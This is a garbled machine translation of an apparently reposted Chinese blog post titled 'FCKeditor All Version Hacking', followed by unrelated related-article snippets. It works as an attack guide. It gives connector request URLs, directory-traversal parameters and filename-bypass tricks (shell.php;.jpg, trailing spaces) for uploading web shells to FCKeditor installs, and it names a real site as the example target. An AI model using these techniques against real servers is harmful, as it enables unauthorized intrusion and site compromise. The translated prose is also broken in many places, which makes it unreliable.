FCKeditor All Version Hacking

简介:

 1. View Editor version

FCKeditor / _whatsnew.html
——————————–
2. Version 2.2 release
Apache linux environment, followed by one in the uploaded file. Breakthrough test.
3.Version <= 2.4.2 For php PHP Upload a place in dealing with Media types did not
Upload file type of control, causing users to upload any file
Saved as a html file the following address change action
[Url =] Copy the contents to the clipboard [/ url] code
action = "http://www.wfda.net/admin/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method = "post">

4.FCKeditor file upload “.” Variable “_” underscore the bypass method
Very often, for example, the uploaded file: shell.php.rar or shell.php;. Jpg will become
shell_php;. jpg This is a new version of FCK change.
4.1: Submit shell.php space around
Space systems only support win, but * nix is not supported [shell.php and shell.php space is
Two different files are not tested. ]
4.2: Continue to upload the file the same name can be changed to shell.php; (1). Jpg can also create a new folder
Detect only the first level directory, if the jump to the secondary directory is not restricted.
5. Breakthrough build folder
[Url =] Copy the contents to the clipboard [/ url] code
FCKeditor / editor / filemanager / connectors / asp / connector.asp? Command
= CreateFolder & Type = Image & CurrentFolder = / shell.asp & NewFolderName
= Z & uuid = 1244789975684

FCKeditor / editor / filemanager / browser / default / connectors / php / conne
ctor.php? Command = CreateFolder & CurrentFolder = / & Type = Image & NewFolde
rName = aa.asp

http://www.wfda.net/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

6. FCKeditor address in the file upload test
[Url =] Copy the contents to the clipboard [/ url] code
FCKeditor / editor / filemanager / browser / default / connectors / test.html
FCKeditor / editor / filemanager / upload / test.html
FCKeditor / editor / filemanager / connectors / test.html
FCKeditor / editor / filemanager / connectors / uploadtest.html

————————————————– ————————————————-
7. Common Upload Address
[Url =] Copy the contents to the clipboard [/ url] code
FCKeditor / editor / filemanager / browser / default / connectors / asp / conne
ctor.asp? Command = GetFoldersAndFiles & Type = Image & CurrentFolder = /
FCKeditor / editor / filemanager / browser / default / browser.html? Type = Im
age & connector = connectors / asp / connector.asp
FCKeditor / editor / filemanager / browser / default / browser.html? Type = Im
age & Connector = http://www.site.com/fckeditor/editor/filemanag
er / connectors / php / connector.php (ver: 2.6.3 test)
JSP version:
FCKeditor / editor / filemanager / browser / default / browser.html? Type = Im
age & Connector = connectors / jsp / connector

Note the red part of the actual use of FCKeditor to modify the scripting language, you can customize the text blue
Folder name can also be used ../.. directory traversal, purple part is the actual website address.
————————————————– ————————————————
8. Other By Address
FCKeditor / _samples / default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
Many sites have been deleted _samples general directory, you can try.
FCKeditor / editor / fckeditor.html can not upload a file, click the Upload Picture button again
Choose to view the server can upload files to jump to the page actually 7. Common upload address.
————————————————– ————————————————
9. Out directory can also help to find upload vulnerability address
Version 2.4.1 tested
Modify CurrentFolder parameters used to access different directory ../../
/ Browser / default / connectors / aspx / connector.aspx? Command = CreateFolder
& Type = Image & CurrentFolder =../../../& NewFolderName = aspx.asp
According to the returned XML information can view the site all the directories.
FCKeditor / editor / filemanager / browser / default / connectors / php / connector.php? Co
mmand = GetFoldersAndFiles & Type = Image & CurrentFolder = /
You can also browse letter:
JSP version:
FCKeditor / editor / filemanager / browser / default / connectors / jsp / connector? Command
= GetFoldersAndFiles & Type = & CurrentFolder = /
10. Explosive path vulnerability
FCKeditor / editor / filemanager / browser / default / connectors / php / connector.php? Co
mmand = GetFoldersAndFiles & Type = File & CurrentFolder = / 1.asp

/ Browser / default / connectors / php / connector.php? Command = CreateFolder & Type = Image & CurrentFolder =../../../& NewFolderName = test.asp

11. FCKeditor passive restriction policy problem caused by strict filter
Of versions: FCKeditor x.x <= FCKeditor v2.4.3
Vulnerability Description:
FCKeditor v2.4.3 in File Type Default Deny upload types:
html | htm | php | php2 | php3 | php4 | php5 | phtml | pwml | inc | asp | aspx | ascx | jsp | cfm | cfc | pl | bat |
exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh | shtml | shtm | phtm
Fckeditor 2.0 <= 2.2 allows you to upload asa, cer, php2, php4, inc, pwml, pht suffix
File
After uploading the saved file it directly with the $ sFilePath = $ sServerDir. $ SFileName, but not
Use $ sExtension suffix
Under the direct result of the win followed by uploading a file. To break through [not tested]
In apache, because “Apache file name parsing flaw vulnerability” can also use the other recommended that its
He defined TYPE variables upload vulnerability in the File class to use when uploading files, according to the FCKeditor
Code, its limitations the most restrictive.
Met in the upload script files can be uploaded directly to very good, but some versions may not be directly uploaded to
To take advantage of the file name followed by. Points or spaces around, vulnerability analysis can also be used to establish xxx.asp 2003
Folder, or upload xx.asp;. Jpg
These methods are Internet penetration in the collection and in peacetime lessons learned, there may be some omissions, as re-
Remember when to add, also has its own did not have to rely on you heroes discovered a shared learning












本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/462025,如需转载请自行联系原作者

相关文章
|
搜索推荐 IDE 开发工具
IDEA自定义右键菜单
IDEA自定义右键菜单
3200 1
一个免费功能强大的谷歌翻译api
分享一个免费且功能强大谷歌翻译api
11227 2
一个免费功能强大的谷歌翻译api
|
网络协议 应用服务中间件 网络安全
|
7月前
|
机器学习/深度学习 运维 安全
MyEMS开源能源管理系统简介
MyEMS 是一款基于 Python 和 React 的开源能源管理系统,采用 MIT 协议发布,适用于建筑、工厂、商场等多种场景。系统支持电、水、气等能源数据实时采集,兼容新能源设备接入,并提供智能分析、设备管理、节能优化等功能,助力企业降低能耗与运维成本,提升能源使用效率。
263 0
|
JavaScript 数据库 Python
一篇文章搞懂flask_sqlalchemy常用操作
这篇文章介绍了Flask框架中SQLAlchemy库的常用操作,包括查询、删除和更新数据的方法和技巧。
986 3
|
前端开发 Docker 容器
主机host服务器和Docker容器之间的文件互传方法汇总
Docker 成为前端工具,可实现跨设备兼容。本文介绍主机与 Docker 容器/镜像间文件传输的三种方法:1. 构建镜像时使用 `COPY` 或 `ADD` 指令;2. 启动容器时使用 `-v` 挂载卷;3. 运行时使用 `docker cp` 命令。每种方法适用于不同场景,如静态文件打包、开发时文件同步及临时文件传输。注意权限问题、容器停止后的文件传输及性能影响。
3981 1
|
Docker 容器
6-16|docker怎么把容器内的文件传出来
6-16|docker怎么把容器内的文件传出来
|
移动开发 安全 关系型数据库
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
Weblogic任意文件上传漏洞(CVE-2018-2894)复现 漏洞背景 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。
4013 0
|
存储 Ubuntu
Ubuntu查看系统日志的几种方法
Ubuntu查看系统日志的几种方法
|
网络协议 Shell 网络安全
Windows环境下安装nc工具
本文介绍了网络工具Netcat(nc)的下载、配置和基础使用。首先提供了nc的下载链接,建议在安装时避免中文路径并关闭杀毒软件。接着,展示了配置nc环境变量的步骤,包括在系统设置中进行相关操作。然后,通过开启两个命令行窗口进行简单的验证测试,如监听端口(nc -l -p9000)和建立连接(nc localhost 9000)。最后,提到了nc的多功能性,如端口监听、扫描、文件传输和远程shell,并列出了一些常用参数选项,例如 `-l` (监听模式) 和 `-p` (指定端口)。
6045 0